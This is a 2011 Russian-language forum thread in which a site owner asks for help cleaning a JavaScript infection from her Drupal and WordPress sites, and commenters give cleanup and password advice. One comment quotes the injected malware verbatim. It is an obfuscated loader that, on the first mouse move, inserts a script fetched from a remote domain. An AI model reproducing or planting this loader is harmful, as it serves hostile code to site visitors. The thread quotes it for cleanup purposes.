11 июня 2011 в 10:40
Недавно на сайте появился вирус - ява скрипт, который копировался во все файлы indeх, я вручную почистила и сайт после этого перестал отображаться белый экран, затем я заменила все файлы сайта из своего бекапа, сайта стал отображаться, но не функционирует. Пишет ошибку сервера 500
Если пытаешься залогиниться или зарегестрироваться, то появляется белый экран.
Думала что бекап возможно уже плохой (не помню когда я его делала) и попробовала заменить файлами из установочного пакера - скопировала папку includes, после чего сайт стал переходить на страницу установки -отображался только белый лист, поняла что что то не то сделала и вернула папку из бекапа.
помогите!!!
Комментарии
Это я получил при визите на ваш сайт. Коллеги, у кого нет антизверя на компе - лучше и не суйтесь туда.
А по вопросу - смените все пароли, сообщите хостеру - пусть пройдется антизверем по вашему сайту.
значит не полностью вирус удалила( буду дальше искать где он еще спрятался. спасибо!
Не чистить, а удалить папку целиком и залить из бекапа по новой.
Посмотрите в код главной страницы вашего сайта(vasilisa1210.ru), там:
var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function (){var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]]().toString()[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function (){if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function (){if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function (){_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} )();
</script>
Вот это как минимум надо убрать.. Проверьте подобное еще во всех индексных, js-файлах, includes/menu.inc
Поменяйте пароли от фтп и больше их не сохраняйте в фтп-клиенте.
сайт то на wordpress. а как проблемы, так сразу к друпалоидам за помощью? ))
Дык, тут то есть RxB про которого даже в Cosmo писали
а я тупая блондинка из Дома2 поэтому мне очень сильно нужна помощь RxB
вирус удалила, и сайт не работает. вот сайт - http://sspip.ru/sspip/index.php
сайт на дрюпале, это другой на вордпрес и там действительно пока я еще не удалила вирус
а я вот про этот сайт http://sspip.ru/sspip/index.php
Проверил, у меня все работает.
ну он отображается в мозиле (а в хроме нет), но если надо авторизоваться, то выдает белый экран
а vasilisa1210.ru я почистила, теперь там не показывает вируса?
Теперь не показывает.
спасибо, а как починить http://sspip.ru/sspip/index.php? он не во всех браузерах отображается и если авторизовываться - то белый экран
Это уже надо искать ошибки, совершенно не факт, что это с вредоносным кодом связано. Думаю, что никто за вас ошибки искать не будет, по крайней мере бесплатно.
просто до того как я удалила вирус у меня все работало замечательно, поэтому дело точно в вирусе
благодарю! ошибка была в том что я загружала 7 дрюпал, хотя у меня стоял 6)